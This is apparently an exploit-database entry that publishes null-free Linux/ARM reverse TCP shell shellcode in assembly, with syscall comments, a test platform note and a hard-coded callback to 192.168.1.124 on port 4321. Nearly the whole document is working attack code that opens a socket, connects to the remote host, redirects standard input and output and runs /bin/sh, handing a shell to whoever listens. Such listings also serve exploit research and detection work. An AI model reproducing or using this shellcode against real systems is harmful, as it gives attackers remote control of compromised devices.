Linux/ARM Reverse Shell Shellcode

64 bytes small Linux/ARM reverse TCP ( shell (/bin/sh) shellcode.

MD5 | e576a654739aa60859efbc5ba2d8bc76

* Title: Linux/ARM - Reverse_Shell Shellcode TCP (/bin/sh). Null free shellcode (60 bytes)
*Reverse shellcode for ARM 60 bytes-shortest ever till the date of creation
* Date: 2019-01-27
* Tested: armv7l (Raspberry Pi b3+)
* Author: Gokul Babu-

/*socket 281, domain=2,type=1,protocol=0*/
/*connect 283,sockfd=resultant vaule r0=3,*addr=AF_inet+port+ip,addrlen=16bytes*/
/*dup2 63,oldfd=sockfd, newfd=0-stdin,1-stout,2-stderr*/
/*execve 11, *command="/bin/sh",0,0"*/
.section .text
.global _start
add r3,pc,#1
bx r3
mov r0,#2
mov r1,#1
mov r7,#200
add r7,#81
svc #1
push {r0,r1,r2} /*store all values r0=3,r1=1,r2=0*/
adr r1,exc+8 /*pointing to AF_Inet+PORT+IP*/
strb r2,[r1,#1]
mov r2,#16
add r7,#2
svc #1
//dup2(3,2)/*No need of stderr, program works fine without stderr*/
pop {r0,r1,r2} /*Restoring all values as the values would have been changed after connect call*/
mov r7,#63
svc #1
//dup2(3,0) -> but gets changed to dup2(1,0)-see strace debug file for reference
sub r1,#1
svc #1
adr r0,exc
strb r1,[r0,#7]
mov r7,#11
svc #1
.ascii "/bin/shX"
.ascii "\x02\xff"
.ascii "\x10\xE1" //port 4321
.byte 192,168,1,124 //IP

Related Posts